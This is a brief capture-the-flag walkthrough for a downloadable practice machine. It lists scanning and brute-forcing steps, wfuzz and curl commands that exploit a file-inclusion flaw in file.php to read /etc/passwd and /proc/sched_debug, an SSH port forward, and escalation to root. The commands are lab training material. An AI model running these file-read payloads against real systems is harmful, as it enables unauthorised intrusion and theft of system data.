Machine can be download here.
Nmap scan ports.
Brutefoce port 80.
Go on bruteforce in /brainstorm.
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hh 0 'http://192.168.56.54/brainstorm/file.php?FUZZ=/etc/passwd'
curl http://192.168.56.54/brainstorm/file.php\?file\=/etc/passwd
curl http://192.168.56.54/brainstorm/file.php\?file\=/proc/sched_debug
Ssh in as user salomon.
Upload netstat and check ports.
Port forward 65000.
ssh -L 65000:127.0.0.1:65000 salomon@192.168.56.54
Check port 65000.
Crack it online.
Su root.